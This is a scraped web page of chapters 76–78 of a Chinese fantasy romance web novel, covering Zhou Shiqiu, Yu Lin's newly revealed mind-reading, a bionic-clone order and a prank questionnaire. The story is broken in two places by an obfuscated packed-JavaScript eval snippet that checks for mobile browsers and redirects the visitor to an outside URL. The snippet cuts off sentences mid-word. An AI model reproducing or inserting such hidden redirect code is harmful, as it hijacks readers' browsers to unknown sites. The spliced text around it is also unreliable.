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钱太闻言一怔,一直平和的脸上终于流露出一丝酸涩,那是她极力隐藏的情绪。 “已经很久没有人这样称呼过我了。”钱太眼眶微红,吸了口气,又缓缓吐出,直到情绪再次稳定,才慢慢开口,“自从嫁入钱家,我的身份就一直是钱太,这个家就是我生活的全部,大家似乎都忘了我也是杨秀。” 庾林沉声解释:“杨女士,态宇无意干涉客户的家事,不过既然你要定制仿生人,出于设计师的责任,我有必要确保做出的产品能满足你心中所求。我再确认一次,你需要我们定制一款从外形到内在都与你一致的仿生人吗?” 杨秀语气坚定地回答:“对。” “那有一点我需要提前告知,按照你的数据制作出的仿生人,或许会做出与你相同的选择,比如,不愿意继续照顾家庭……”庾林始终盯着杨秀的眼睛,话中带着试探。 杨秀赶紧摆了摆手,道:“你误会了,我没有不想照顾家人的想法,只是……” 很显然,有些过于隐私的事,杨秀并不想在外人面前提及。 庾林没有强迫,轻轻点了点头,“明白了,针对你的数据采集,稍后楚君会对你和你的家人进行问卷调查,这一点你能理解吧?” “嗯!”杨秀点了点头。 “等数据收集结束,我会让楚君将所有调查问卷交给你确认,如果你确认无误,我再为你提供仿生人设计方案,你看如何?” “好。”杨秀爽快地回答。 一旁的楚君闻言皱起了眉头,但领导正在发话,他不好质疑,便抿着嘴,耐心地听从指示。 说完这些话后,庾林便起身向杨秀道别,周拾秋和楚君虽心有疑惑,但不敢多问,紧跟上去,一同向杨秀告辞。 杨秀将三人一直送到了家门口,目送三人上了别墅区专车。 庾林上车前,又转身对杨秀说:“冷战与回避绝不是解决问题的最佳途径。” 说完这句莫名其妙的话后,庾林带着两人上了车。车渐渐驶离,而后视镜中杨秀的身影一直呆立在门前,许久也不曾挪动。 76. 第076章 重新回到停车场,一直忍住心中疑问的楚君好奇地开了口:“庾总监,调查问卷要给钱太看吗?往常流程,不都是根据问卷结果设计出方案后才发给客户确认吗?” “嗯,以前是,这一次也许用不着我设计,你按照我说的做就行。” 庾林没有太多解释,只是轻描淡写地吩咐了一句,随即便上了车,并拍了拍车门,提醒周拾秋出发。 周拾秋瞪了车里人一样,拍了拍楚君的肩膀,安慰道:“你们总监肯定又想到什么鬼主意了,反正出事他负责,你照做就行,有我这个人证呢,别担心!” 楚君用看救星一般的眼神望着周拾秋,感激地点了点头。 二人道别后,周拾秋才上车。 将车驶离停车场后,周拾秋才用审问的语气对庾林说:“老实交代吧,你又看穿钱太的想法了吧?哼,还说你没有读心异能。” “嗯,看到了。”庾林终于不再装了,面色平静地回答,“看到杨女士对丈夫的怨气,对人生的茫然,想被认可的欲望。” 在杨秀的眼中,庾林看到了她的无助。 无微不至的照顾最终换来的是丈夫的忽视,她的付出就像理应存在的空气,没有任何人关注。 渐渐地,这种被忽视的感觉让她失去了存在感,而定制仿生人的初衷不过是一场自我救赎。 一个和自己一般无二的仿生人,代替她去照顾家中大小事务,这是她对丈夫的考验,也是在帮自己寻找出路。如果仿生人足以代替她,她将去追求她为家庭而放弃的事业;如果能让丈夫意识到她的无可取代,这仿生人便不算白做。 周拾秋听完一脸难以置信,疑惑道:“她真的不怕被仿生人取代吗?” 庾林却伸手敲了敲她的脑袋,说:“这里是自由区,杨女士心里明白,仿生人代替不了她,这不过是她对钱先生的报复罢了。仿生人只是让生活更轻松,至于会产生什么影响,取决于使用者,而非仿生人本身。” “啧,万一呢?”周拾秋一只手挡在头顶,防止庾林再偷袭。 “没有万一。”庾林言辞坚决,“大概杨女士会取消订单。” “啊?为什么?” “她需要的认同,也许调查问卷上会有她要的答案。” 庾林浅浅一笑,没再继续说下去,周拾秋似懂非懂,只觉得理想者想法太复杂了。 不过这终究是庾林的生意,该担忧的是他,而不是周拾秋,于是周拾秋果断甩了甩脑袋,将不相干的事情甩到脑后,话锋一转,便说起了她更在意的事。 “现在可以说说你到底是个什么东西了吧?” “……你……”庾林被气得无力反驳,“别把人说的跟个怪物似的……我也想知道这读心能力到底是怎么来的。” “什么意思?你的异能不是天生的?”周拾秋一脸诧异。 她从未听说过,异能还能后天觉醒。一般来说,进化者的异能出生后不久就会显现,连带着诅咒一起出现。 想到这里,周拾秋突然意识到,庾林的心病源于五年前那场绑架案,也就意味着并非诅咒。难道真的只是心病,和莫名出现的超能力?周拾秋整个人都懵了。 正在她疑惑时,庾林的一只手已经绕到面前,张开虎口掐住了她的脸颊,庾林身子前倾,正直勾勾地盯着她的侧脸,说话的声音不带一点温度。 “究竟是怎么一回事,好像得问你啊,夜白鹭?” 一股寒气从后背爬上后脑勺,周拾秋心头一紧,握着方向盘的手不由得一抖,车子在车流中陡然摇摆了一下。 “开稳了,现在要是出了事故,受伤的可不止我一个。” 冰冷的声音在耳旁响起。 周拾秋恼怒地骂道:“庾木木,你是不是有病,松手,没看我在开车吗?要出事故也是你害的!” 庾林闻言发出一声冷笑,但随后便将手收了回去,探在座椅间的脸上带着心满意足的笑容。 “原来你还知道在开车,那你确定现在要跟我聊这件事吗?” “你!”周拾秋又有种被人拿捏的憋屈感,一时没辙,咬牙切齿地回瞪了庾林一眼,强忍着怒气骂道,“你等着!” “好,我等着。” 庾林摆出一副从容不迫的姿态,仰靠在座椅上,眼睛一闭,悠然地睡起大觉。 方向盘上的皮革被周拾秋的手指甲刮得嚓嚓作响,她不时抬眼瞥一眼车内后视镜,心里骂得很脏。 车速不断攀升,一辆接着一辆的车被她甩到身后。车身被恶意摇晃,庾林的身子也随之东倒西歪,原本还想装睡的人,也实在装不下去,抓着车门上的扶手,努力不被甩飞。 两人便在无声中相互较着劲儿,一直到车子驶进了天宫酒店的停车场。 几分钟后,两人隔着茶几,对坐在客厅的沙发上,四目相对,空气中仿佛弥漫着硝烟的味道。 连康管家都觉察出气氛的异常,不敢靠得太近,唯恐站到两人之间,会被焦灼打斗的视线波及,被那打斗中迸发出的火焰灼伤。 “呃……要不要喝点降火茶?” 康管家躲在厨房里露出半张脸,小心翼翼地询问。 庾林:“给乌鸦小姐来一杯,免得她把这屋子烧了。” 周拾秋:“你家庾总监该喝点排毒的,估计能直接把他排没了。” 康管家:“……看来都不需要,那我先回房充电了。” 康管家识趣地逃离了现场。 房门轻轻关上,客厅里的两人仿佛接收到了开赛的信号,顿时剑拔弩张。 周拾秋:“你有异能为什么不早说?” 庾林:“我不认为这是什么值得宣扬的事。你不也没说你是夜白鹭吗?” 周拾秋:“我们情况能一样吗?说了万一被你举报呢?” 庾林:“即便知道救过我,还觉得我会害你?” 周拾秋:“那是后来才知道的!再说了,你又不是没害过我,谁敢再信你?” 庾林:“我害你?什么时候?” 周拾秋:“诬陷我杀人!” 庾林:“……我没说过。” 周拾秋:“是啊,可不是嘛,绑架案栽赃到我头上时,也不见你帮我澄清啊,那不就是害我。” 庾林:“五年前因为突然出现的读心能力,我很快离开了凌沪市,当时并没注意到外界发生了什么……那确实是我的问题,我向你道歉,你想要我如何补偿都可以。” 原本的争执,因为庾林突然的坦诚变了味,闹着脾气的周拾秋头里挺不是滋味。 就像突然自己变成了唯一那个无理取闹的人,想要责怪的话一时竟有些说不出口,被硬生生堵在了喉咙里。 “算了,你救过我一次,就算扯平了,我也不欠你什么了,等一个月约定结束,你我两清,今后各自安好。”周拾秋强装着大度,起身准备离开。 “现在恐怕不行了。” 庾林手肘搁在沙发扶手上,歪着脑袋,肆无忌惮地盯着周拾秋瞧,手指在额角轻点着,嘴角微扬,露出意味深长的笑。 一股寒气自心头扩散,周拾秋只觉浑身僵直,当场愣住。 “什么意思?”她狐疑地注视着庾林,不禁担忧起来,不知道庾林又要整什么幺蛾子。 她看不懂庾林在想什么,可庾林能轻易看穿她的想法,这种位于劣势的处境让她很是不爽。 一直以来,拥有异能加持的她,大多时候都可以随心所欲,不带怕的。 可现在的情况,让她有些莫名恐惧。 “怕什么,我又不会吃了你。”庾林忽然笑道。 这句话在周拾秋听来,与其说是安慰,不如说是恐吓,让原本就隐隐不安的心更加焦躁了。 周拾秋下意识咬着手指甲,声音阴沉地问:“你到底想要什么?” 庾林似乎很得意,竟站起身,缓缓向她走来,每一步靠近,都让周拾秋心跳加速,一种莫名的压迫感,令周拾秋不由自主地想要发动异能。 下一秒,走到她面前的庾林向她伸出了手,周拾秋像只应激的小猫,看似发出警告一般,金色波纹在眼中涌动。 然而,庾林的手最后只是轻轻扣上周拾秋的手腕,稍微往身前一带,便将周拾秋的手从唇边抽离。 “乌鸦小姐是不是想多了,怎么知道我有读心能力后,突然对我多了戒备?读心罢了,你不还是可以轻松杀了我。嗯?” 庾林说话的声音很轻,脸上表情却莫名多了一丝苦涩,“现在知道我为什么不说了吧?这能力带不来好运,却能将人变成病毒,任谁见了都害怕……” 一瞬间,周拾秋的心被什么揪了一下,竟对眼前这个男人产生一丝怜悯。 从庾林的脸上,她仿佛能看到庾林因异能遭遇的苦痛,那似乎才是真正将他锁在这个房间里的枷锁。 而她现在,好像也成了那些痛苦记忆的一部分。 周拾秋双手拢住庾林的手,强行甩掉心中过度的担忧,嘴硬道:“谁、谁说我、我怕你了!我只是不习惯被人看穿想法罢了,以前都只有我看穿别人的份儿……” 看着周拾秋紧覆在他手背上的手,一股暖意传入心底,同时激起异样的躁动,浑身血液翻滚沸腾,热意从耳廓渗出。 庾林像被什么烫了一样,慌张地将手抽离,不自然地挠了挠头,转身远离,在最远的沙发上坐下,故作淡定地靠着扶手,脑袋微微倾斜,手指抵在额头。 表面好似在思考,实则只是想藏一藏那熟透了的耳朵。 “咳,我尽量不读取你的想法,你不用这么胆心。”庾林说。 周拾秋双手叉腰,昂首挺胸,撅着小嘴,倔强回道:“胆、担心你个头,我心里又没鬼,怕什么!你这话我才不信呢,当我三岁小孩啊,哪有想不读就不读的?” “……” 庾林欲言又止,想吐槽的地方太多,一时不知从哪儿下口,干脆闭嘴,免得真把人气跑了。 对手气势一弱,周拾秋的心情便有所缓和,随口挑衅道: “怎么不说话了?被我拆穿,找不到说辞了吗?呵呵,没关系,剩下几天呐,我们最好别见面,你手环上发任务就好,委托我还是会认真办好……” “不行。”庾林又一次打断。 “啧,什么不行?”周拾秋有些不耐烦。 庾林一脸严肃地回道:“之所以让你待在我身边,不止为了让你放下杀心,我更想弄清楚,心病为什么对你免疫。如今看来,这读心能力似乎也与你有关。没弄清楚前,你可不能溜。” “怎么直接赖到我头上了,我哪儿知道你这些怪毛病哪儿来……啊……” 周拾秋嘴里本骂骂咧咧,忽然想起什么,差点跳起来。 关于那场大火的记忆,事后发生的怪事,一股脑地往外窜,最后交织在一起,产生一种新的猜想。 周拾秋大步流星冲到了庾林面前,摊出手掌,向着庾林高呼:“不会是你偷了我的异能吧,快还给我!” “你的?”庾林抬眼盯着周拾秋,若有所思。 “昂,卷入那场大火前,我可不止意识控制一种异能。”周拾秋居高临下,一脸骄傲。 “呵,还真是你惹出的麻烦事,夜白鹭小姐。”庾林的语气中充斥着一分无奈,三分讥笑。 这话有些刺耳,周拾秋微微皱起眉头,往庾林身边一坐,郑重其事道:“话不能这么说,我哪儿知道异能还能转移啊?你怎么不说是你的问题呢?” “你真不知道?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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庾林捂着胸口,闭上一只眼,表情拧成一团,低声道:“开个玩笑而已,没必要这么狠。” “哼,我现在觉得太好笑了,谢谢!”周拾秋没好气地说道。 庾林揉了揉胸口,重新坐直身子,无可奈何地说道:“你大概已经知道了,那场绑架案,本就没打算让我活命。张婶……也参与其中,她与我一同被绑,本就是计划中的一环。” “啊?这我真不知道。”周拾秋一脸错愕地听着。 庾林浅浅一笑,笑中满是苦涩。 庾林也希望自己也不知道,可那两个绑匪当着他的面给张婶松了绑。 那晚,张婶哭着跟他道歉,说她也有苦衷,当时庾林根本无法理解,直到张婶在绑匪的饭里下了毒,杀了两名绑匪。 庾林天真地以为事情要反转了,原来张婶所谓的苦衷就是为了这一刻,带着他一起逃出去。 “呵……原来是我自作多情了……”庾林自嘲道。 周拾秋下意识问:“然后张婶放了火?” 话刚说出口,她就后悔了,其实不问她也知道,她醒来时,手上的打火机和油桶已经说明了一切。 庾林点了点头,淡然一笑,“当时所有的希望都破灭了,我只是在等死罢了,然后,你就出现了。” 庾林的眼神突然温柔了几分,看得周拾秋脸颊微烫,她赶紧将庾林的头扳到另一边。 庾林整个人一愣,脖子僵硬着不敢回头,片刻后才明白周拾秋又怕他看穿想法,不禁笑了,保持着背对周拾秋的姿势,打趣道:“不会周拾秋也是假身份,你原本叫百泉吧?” “你才假身份,危代人账号可以借,哪有本人身份造假的道理……蠢不蠢。”周拾秋嘀咕道。 “那叫百泉的人真惨,替你背锅被通缉。”庾林冷嘲热讽。 话音刚落,庾林的后脑勺就挨了周拾秋一巴掌。 “你!就你话多!” 周拾秋一时不好说百泉其实也是进化者,不管三七二十一,先出口气再说。 庾林摸着脑袋,一脸震惊地回过头,哭笑不得地说:“你现在好像对我越来越不客气了……一个月还没到期吧?” 周拾秋如梦初醒,突然想起那两百万,立马收了气势,满脸堆笑,起身揉着庾林的头,能屈能伸地换了画风。 “对不起,对不起,一时忘了还有这回事!哎呀,庾总监,没事吧?疼不疼?本来就不聪明,可别给敲傻了。” 庾林一时语塞,挡住周拾秋不安分的手,拉她到身旁坐下,一脸严肃地说:“现在乌鸦小姐多了一个任务,既然我身上的怪病因你而起,你就有义务解决。” “凭什么!”周拾秋尖声吼道,见庾林身子后仰堵住耳朵,赶紧捂住嘴,放低声音,“到底是谁的问题还不好说,干嘛就赖到我头上了,你觉得公平吗?” “你难道不想拿回自己的异能吗?” 庾林挑着眉,一句话正中周拾秋下怀。 周拾秋放弃挣扎,心有不甘地回道:“行吧,我想想办法……” 庾林嘴角微微上扬,又被他及时压住,轻咳一声,故作正经地说:“那乌鸦小姐可得加油了,否则我们这约定怕是很难结束了。” “哎呀,知道了,知道了,别催,烦死了……” 周拾秋一脸苦恼地思考着该从何下手,一时没注意哪里不对,等回过神,发现自己好像有些吃亏,“等下,你别偷梁换柱,一个月到期这危代人我就不干了,至于异能和诅咒的事,既然答应了,我肯定想办法,等想到了再找你。” “嗯……不该清醒的时候倒是清醒得挺快……”庾林单手支撑着脑袋,轻声叹了口气。 “什么?”周拾秋有些茫然。 “没什么,期待乌鸦小姐的表现。” “……” 77. 第077章 从天宫酒店回到花店,又到下午2点了,花店里客人还挺多,齐绮一见周拾秋进门,就催她招呼客人。 一直忙了一个多小时,两人才闲下来。 周拾秋便跟齐绮吐槽了关于庾林的秘密,包括曾替他保密的心病,和刚发现的读心能力。 齐绮听得目瞪口呆,对于两人五年前的牵扯更觉匪夷所思。 “异能还能传染?咋这么多年不见你传染给我呢?”齐绮忍不住调侃。 “闻所未闻!如果真能就好了,我早就可以做个普通人,省去这如履薄冰的麻烦。”周拾秋哀叹。 齐绮想了想,又问:“不过啊,读心能说得通,那心病是怎么回事?你的诅咒也传过去了?” 这个问题,周拾秋也很好奇,如果说读心异能是她的问题,那这心病还真怪不到她头上才对。 毕竟,周拾秋曾经的诅咒是与她两情相悦的人会没命,自己最多孤独终老,性命倒是无忧。可庾林的情况就没那么幸运了,被异性碰一下都可能要命,这是哪门子倒霉诅咒。 不过,这诅咒只对她无效,确实相当怪异,她就是想撇清关系,都有些理亏。 “唉,这我哪儿知道呀……还想着没剩几天,忍一忍就过去了,这下好了,又多个大麻烦。”周拾秋趴在柜台上,愁眉不展,心里思索着能从哪里打听消息。 思来想去,与进化者关系最紧密的,除了进研所,就只有暗魈。或许可以找机会,在暗魈内部打听一番。 当她惆怅之时,齐绮想起另一件事,“对了,今天上午来个陌生男子,自称是常华的表弟,问我是不是乌鸦,还说跟我联系过。” 周拾秋的思绪被“常华”两个字强拽回现实,心里咯噔一下,问:“表弟?跟乌鸦联系过?没有……啊?难道是夜猫子?他来干嘛?不对啊,他怎么找到这里来的?” 越想越觉得古怪,心中莫名生出一丝不好的预感。 她从未与夜猫子见过,只是私信过两次,连转账都是通过乌鸦的账号,没道理能查到花店来,除非他能走瑞波恩科技拿到齐绮的注册信息。 “当时听到乌鸦这个ID,吓得我慌了神,倒忘了问他怎么找过来的。”齐绮努力回忆着上午见面时的细节,“他说是来感谢那晚跟他联系,虽然最后没能阻止表哥自杀,但看见还有人关心他表哥,他很欣慰,还在店里买了束花留下。” 说罢,齐绮指了指放在柜台角落里的一束花,花上还留着一张纸条。 【致最善良的危代人乌鸦】 没有署名,只是简短的几个字,字迹潦草,有种敷衍的感觉。 “然后呢?他还说了什么吗?”周拾秋盯着那张纸条,心中隐隐不安。 齐绮想了想,说:“还问了我对理想者的看法,还有相不相信他表哥没有杀人,一切都是理想者的阴谋之类的话。” 听上去神神叨叨,连周拾秋都搞不懂,这个夜猫子跑来店里究竟是出于什么目的。 感谢吗? 周拾秋难以相信,如果真感谢,那晚他不可能不回话,还在报警后立马把她供了出去。现在幡然醒悟,对她没了怀疑?周拾秋不信。 “他不会是被暗魈洗脑成功,来发展下线吧?”周拾秋随口胡说。 引得齐绮一阵大笑,这显然是最没说服力的一种可能性。 “除此以外,他也没说什么奇怪的话了,随便聊了几句就离开了。可是……” 齐绮说着说着,忽然想到了什么,神色有些犹疑,似乎苦恼该不该说。 周拾秋看出她的不对劲,忙追问她怎么了。 齐绮想了又想,终是开了口:“其实也没什么,也许是我多心了,就你之前不是说见过一个坐轮椅的进化者吗?今天上午跟常华表哥说话时,有个坐着轮椅的女孩进了店。” “什么!” 周拾秋猛地站起身,心跳有些过快,浑身血液都在沸腾,可手脚没由来的冰凉。 难道进化者找来了?没理由啊…… 齐绮看着她逐渐变白的脸,急忙过去拍着她的背,安抚道:“你先别急,不一定就是进化者,那人兴许就是来看花的。反正在店里转了几圈,好像没选到中意的,过了没多久就离开了。” “还有发现什么异常的地方吗?”周拾秋问。 齐绮努力回想一番,最后摇了摇头,笑道:“大概我跟你一样太过敏感了,特别在听说常华出事后。” “要不在店里装个监控吧。”周拾秋仍有些不放心。 这世上坐轮椅的人也不止她那晚看到的一个,可突然出现特征相似的人,总难免让人多想。 “傻瓜!”齐绮不客气地捏住周拾秋的鼻子晃了晃,“你见过那个进化者的长相吗?” 周拾秋从齐绮手上挣脱,不服气地揉着鼻子,想了想,才想起自己并没有见过那晚两个进化者的长相,于是不好意思地傻笑道:“哈哈,一着急,忘了。” 齐绮脸上带着轻松的笑,伸展着胳膊,若无其事地安慰道:“没必要多想,反正再忙几天,你就可以回店里帮我了,有你在,我还怕什么进化者。” “嗯嗯,交给史上最厉害的进化者吧!”周拾秋拍拍胸脯,大言不惭道。 话虽这么说,等忙完花店的事,晚上吃了饭,周拾秋又坐在电脑前,打开了危机管理局私信界面,找到了夜猫子。 【乌鸦:你小子突然到店里来找我干嘛?如果想找麻烦,别怪我对你不客气!】 一番威胁的话语发送过去,这次夜猫子很快有了回应。 【夜猫子:你特么有病吧!谁找你了,你以为你谁啊?大明星?还找你,我表弟的事你跟警察交代清楚没有啊,还有种来威胁劳资。】 对面噼里啪啦发来一大堆文字,骂骂咧咧不停嘴,也不管周拾秋回不回话,只管自己发泄。 看着那些充满无知与愤怒的文字,周拾秋的心凉了半截。 今天到花店找齐绮的人不是夜猫子! 这个骇人的念头突然闪现,周拾秋整个人愣在了电脑屏幕前,浑身的血液仿佛凝结了一般,一丝寒意渗透进心里。 那会是谁呢? 知道乌鸦的注册身份,也知道乌鸦与夜猫子联系过…… 忽然一个名字闯入周拾秋的视线。 危机管理局的界面上,在最显眼的地方,一眼就能看见“瑞波恩科技”五个字。 完美符合周拾秋心中画像,只是瑞波恩科技并不存在伪装成他人接近齐绮的动机。 “进研所?”周拾秋喃喃自语。 进研所的专员的确可以从瑞波恩科技获取所有信息,这很合理,可是似乎也没有如此大费周章卧底调查的必要啊。 “总不能是为了测试乌鸦是否与暗魈勾结吧?” 当出现这个想法时,周拾秋居然开始觉得不算太离谱,甚至连瑞波恩科技都有了动机。 一时并没有更多支撑这种想法的证据,从那人与齐绮的对话,周拾秋也暂时找不出明显用意,只能走一步看一步,但愿只是她多想了。 果然还是得尽快结束与庾林的约定,守在齐绮身旁,才能让她安心。 一边这么想着,周拾秋一边进入了暗魈的秘密网站,又是同样的操作,在留言板上留下了那段专属于“夜行蝠”的编码——64448228。 这一次等了大约半小时,网站上自动弹出对话框,依旧是管理员,开口就是问候她全家,但是被自动和谐了。 【管理员:#%**k@y#&0a***……】 看着屏幕上的乱码,周拾秋不由得苦笑起来,大概是她偷懒扔给暗魈阉割版遗产继承协议的事情败露了。 【64448228:嘻嘻,大哥,自己人,别冲动,听我解释。】 【管理员:因为你,我被曜哥臭骂一顿,你最好是能给出合理解释。】 【64448228:别急,这样吧,我当面跟曜哥解释清楚。】 【管理员:嗯?你确定?你们进化者不都不愿意露面吗?】 【64448228:哎,你不懂,最近进研所动作有点大,我找曜哥有点事,正好澄清一下上回的误会。】 【管理员:行吧,那我帮你问问曜哥,看他同不同意,一切照旧,结果留言板提示,回复代号编码。】 【64448228:没问题。】 三个字刚刚打过去,对话框便自动消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056417|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失了。 有关进化者的问题,她只能寄希望于暗魈老大柴星曜了。 该做的事情结束后,周拾秋便洗洗上床睡觉,大概是一时间发生的事情太多,就算睡着也没有放过周拾秋,一整晚,她迷迷糊糊地陷入梦魇,离奇又诡异…… 这天夜里,周拾秋仿佛又回到了五年前,走入那个令人熟悉又怀念的屋子。 凌乱的一室一厅里,衣服、鞋子、包包、帽子、饰品等挂得随处都是,男女老少皆有,风格更是各异。 屋子的主人活得很随性,不太爱收拾,每次周拾秋说房间乱,房间主人总会笑话她年少无知,说乱虽乱,却乱得很有章法,至少她清楚地记得每一样东西放在哪里。 一切都与久远的记忆如出一辙,周拾秋推门进屋,百泉总会笑脸相迎,一如她们初见的那日,在甜品店里,她也是这般冲周拾秋笑的。 然后百泉将一只手环戴在周拾秋手上,拉她到电脑屏幕前,告诉她:“恭喜,我的夜白鹭,你今天成功进阶为危机管理局首个传说级别危代人!瑞波恩已经联系我,很多人想跟我签私危协议,你看,有这么多意向书。” 原本就堆满杂物的桌子上,又多出几叠文件,里面密密麻麻的是VIP客户的报价单,瑞波恩送来,让百泉随意挑选心仪的客户。 像这样的待遇,夜白鹭独一份。 “嘻嘻,我又不懂,泉姐姐随便选吧,我都行,就是白天我得上学,只有晚上有空,这点得跟委托人提前约定好。” 周拾秋将书包往沙发上一扔,便翻看起任务大厅里有无感兴趣的委托。 “这个吧,听说是什么大集团的少爷,给的奖金也最丰厚。” 百泉将报价单往周拾秋面前递,周拾秋只是敷衍地随意瞥了一眼,便点了点头,在她眼中,所有人都不过是她测试异能的工具人罢了。 对于容器壳子,她一向没要求。 忽然百泉的手抚上她脸颊,冰凉的指尖顺着下颌线游走,最后停在她下巴上,三只手指如同囚笼,控制住她的下颌,将她的脸强制转了个向。 “干嘛?我在研究委托呢!”周拾秋不满地对抗着这股力道。 忽然身旁的人俯身到她耳边,温润的鼻息喷在颈侧,让周拾秋觉得怪怪的,抬手就想将百泉推开。 可手指碰触到的却是坚实的胸膛,周拾秋顿觉异常,不再对抗钳制住她下颌的手指,顺着力道转过头,一张带着阴沉笑容的脸陡然出现在眼前。 哪里还是百泉,分明是庾林的脸。 “不是你选择了我吗?为什么想逃呢?” 一双幽深的眼睛凝视着周拾秋,声音带着几分魅惑,勾得周拾秋心里痒痒的。 她的目光无法从庾林的眼睛移开,仿佛被什么东西吸住了似的,咽了咽口水,疑声问道:“什么逃走,我听不懂你在说什么,你怎么会在这里,百泉呢?” “你不是想救我吗?那你又想从我这里获得什么呢?嗯?” 庾林答非所问,尾音微微上挑,嘴角噙着笑,眼神中满是试探,指尖轻轻从周拾秋唇上扫过,轻得如风一般,却让周拾秋心跳加快。 “我……我没什么想要的……” 周拾秋坚决地摇着头,视线却不自觉地落在了庾林的唇上。 那唇微薄,却饱满红润,仿佛要滴出血来了一样,看上去相当美味可口,让她忍不住想咬上一口。 “如果这是你想要的,可以。” 庾林双唇开合,轻轻吐出一句话,如同看穿了周拾秋的心思,手指将周拾秋的脸往前勾,庾林的脸缓缓迎了上来,相互贴近,近到呼吸都混合在一起。 周拾秋顺从内心的想法,慢慢闭上了眼睛。 就在即将撞上的时刻,四周瞬间燃起大火,滚烫的热浪向二人袭来,周拾秋陡然睁开了眼。 窗外的天已经亮了,而床上的周拾秋满头大汗,人还未完全清醒,梦中的场景有种意犹未尽的遗憾。 周拾秋一巴掌将自己扇醒了。 “可以什么啊可以!” 用被子捂住脸,周拾秋压抑着躁动的情绪,嘴里不住念叨着:“我什么都没想,什么都没想……都是犯罪基因的错!” 78. 第078章 被昨晚的梦整得心神不宁,周拾秋一整个上午好像得了一种病,一种听见手机响就心颤的恐惧症。 不过,这一上午,响的都不是周拾秋的手机,可每一次都让周拾秋应激。 理由也很简单,自从确定庾林有读心异能后,周拾秋就很抗拒去自由区,此刻要她站在庾林面前,脑子里那些不应该被人看到的邪恶想法,恐怕会被看个干净。 光是想一想,周拾秋都觉得要命。 曾经肆无忌惮看透别人想法时,她从未想过被人知晓内心世界是一件多惊悚的事。 当然,大概不是所有人都跟她一样心虚,毕竟,有几个人跟她一样拥有犯罪基因,总是莫名冒出非比寻常的想法呢? 见她一会儿如惊弓之鸟,一会儿似哀叹不绝的蝉,齐绮满心疑惑,可每次询问,周拾秋又强打起精神,只道昨夜睡得不太安稳。 这种状态一直持续到下午2点,周拾秋没等到令她不安的电话或消息,倒是等来了委托。 手环闪过一道白光,竟莫名让周拾秋惶恐不安的心镇定下来。 不过,等她在天宫酒店套房60A睁开眼时,她又开始怀疑,负责庾林人生安全的保镖任务和完成庾林的危代委托之间,究竟哪一种更令她难受。 坐在书房里的周拾秋,此刻面前正摆放着一套试题,握在手里的笔被她捏得濒临破碎,发出凄惨的悲鸣。 看着一道道像是问卷调查的题目,周拾秋陷入苦思。 康管家端着一杯柚子茶走进书房,十分有眼力见儿地解释:“临近年底,有不少供应商想确认庾先生的喜好,为明年商品设计提前做好准备,你看,大家询问的类目太多,庾先生十分头疼,就只好麻烦周小姐了。” “呵呵,理解,理解,都是我该做的嘛。”周拾秋面露虚伪的笑,说着不走心的客套话,“不过,庾木木的喜好,我也不清楚啊,这要怎么……” “没关系,周小姐随意,庾先生说了,你按照自己的喜好随意答就好,他这个人,不挑。”康管家将茶奉上,笑着安慰道。 还不挑?供应商能提早询问喜好,肯定没少撞在庾林的枪口上。 周拾秋一边摇着头,一边在心里感叹着。 一道道题往下看,小到色彩元素,大到年度愿望,无一不在打探着答题人的喜好。 周拾秋一边看,一边啧啧称奇,实在佩服自由区的生意人对客户用心的讨好,当然,这样的讨好不用说,只为竭尽全力榨干客户的钱包。 “真的随便我答?”周拾秋再三确认。 康管家点头回应:“嗯,是庾先生的原话。” “嘿嘿,那就好。”周拾秋嘴角露出一丝狡黠的微笑。 既然庾林这么说了,那她就不客气了。这可是千载难逢捉弄庾林的机会,机会都自个儿送上门来了,她哪有不把握的道理。 饰品喜欢什么材质? 黄金!必须纯金! 唯有金子般璀璨的颜色,才配得上庾林又俗又豪的气质,最好给庾林打造两条大金链子戴脖子上。 服装色彩有什么偏好? 少女粉,基佬紫! 走上街,庾林一定是最靓的仔,特别在自由区这种颜色极尽低调的地方,跳脱的色彩一定能让庾林一举成名上新闻头条。 喜欢什么类型的电影? 恐怖片,必须恐怖片,最好能吓死人的那种! 庾林不是喜欢给她找刺激吗?胆子这不挺肥嘛,大胆的人,当然与紧张刺激的恐怖氛围最配咯。 饮食口味偏好? 黑暗料理,食材越猎奇越好! 吃是为了享受美味吗?那太普通了,庾总监的口味自然要与众不同,极致的个人风格才能彰显庾总监的特别。 收到什么类型的礼物最开心? 当然是助人为乐、无私奉献最能让他开心啦,比如推荐公益项目,或者求他帮忙。 庾家少爷缺什么?自然什么都不缺,唯独有些缺德,不,是功德。收到礼物哪有积功德让人心情愉悦呢?庾家少爷没有那种世俗的欲望。 …… 诸如此类,周拾秋是当真按照庾林给的指示,按照自己的喜好随意答,不过是随意乱答,主打一个随心所欲。 这套题足足做了快一小时,周拾秋坐在桌前肩酸脖子痛。 放下笔,起身活动活动筋骨,看着那一叠调查问卷,周拾秋心中不禁产生一点疑问:“这些商家打听的东西是不是太多了点?” 周拾秋没太多想,任务总归完成了,至于结果,好像用不着她来操心,该担心的是庾林。 脸上洋溢着幸灾乐祸的笑,周拾秋在手环上提交了任务完成申请。 不过,庾林似乎对她的答卷并不满意,因为从这天下午起,周拾秋就感受到了来自庾林无声的报复。 晚饭时分,周拾秋睁开眼,发现自己坐在一间灯光昏暗,四周布置得跟鬼屋一样的猎奇餐厅里。 墙上没有一扇窗,反倒挂了不少镜子,屋子里摆满蜡烛,蜡烛却燃着绿色的火焰,将整个餐厅渲染上一层歹毒的滤镜。 服务生统一穿着黑色长袍,脸上戴着恶鬼面具,走路时,长袍下发出铁链拖地的响声。 他们一句话都不说,如幽魂一般游走于整个大厅,将一份份菜品送至每一张餐桌上。 然而,整个餐厅除了周拾秋,没有一位客人,就像存在着什么周拾秋看不见的东西。 